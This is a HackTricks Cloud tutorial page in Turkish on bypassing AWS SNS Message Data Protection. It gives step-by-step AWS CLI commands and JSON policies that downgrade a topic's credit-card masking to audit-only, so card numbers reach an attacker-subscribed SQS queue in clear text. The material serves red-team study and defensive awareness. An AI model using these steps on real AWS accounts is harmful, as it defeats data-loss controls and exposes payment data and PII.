AWS - SNS Message Data Protection Bypass via Policy Downgrade
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Eğer bir topic üzerinde sns:PutDataProtectionPolicy izniniz varsa, Message Data Protection politikasını Deidentify/Deny’den Audit-only’a (veya Outbound kontrollerini kaldırarak) değiştirebilir ve böylece hassas değerler (ör. kredi kartı numaraları) aboneliğinize değiştirilmeden teslim edilir.
Gereksinimler
- Hedef topic üzerinde
sns:PutDataProtectionPolicyçağırma izni (ve veriyi almak istiyorsanız geneldesns:Subscribe). - Standard SNS topic (Message Data Protection destekli).
Saldırı Adımları
- Değişkenler
REGION=us-east-1
- Bir standard topic ve bir saldırgan SQS kuyruğu oluşturun ve sadece bu topic’in kuyruğa göndermesine izin verin
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- Outbound mesajlarda kredi kartı numaralarını maskeleyen bir data protection policy iliştirin
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- Saldırgan kuyruğunu subscribe edin ve test bir CC numarası ile mesaj yayınlayın, maskeleme olduğunu doğrulayın
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Beklenen çıktı maskeleme gösterir (hash’ler):
"Message" : "payment:{cc:################}"
- Politikayı audit-only moduna düşürün (Outbound’ı etkileyen deidentify/deny ifadeleri olmasın)
SNS için Audit ifadeleri Inbound olmalıdır. Politikayı Audit-only Inbound ifadesi ile değiştirmek, herhangi bir Outbound de-identification’ı kaldırır; böylece mesajlar aboneye değiştirilmeden iletilir.
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- Aynı mesajı publish edin ve maskelenmemiş değerin teslim edildiğini doğrulayın
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Beklenen alıntı açık metin CC’yi gösterir:
4539894458086459
Etki
- Bir topic’i de-identification/deny’den audit-only’e geçirmek (veya Outbound kontrollerini başka şekilde kaldırmak), PII/secrets’in değişmeden saldırgan kontrolündeki aboneliklere geçmesine izin verir; bu da aksi takdirde maskelenecek veya engellenecek data exfiltration’a olanak sağlar.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

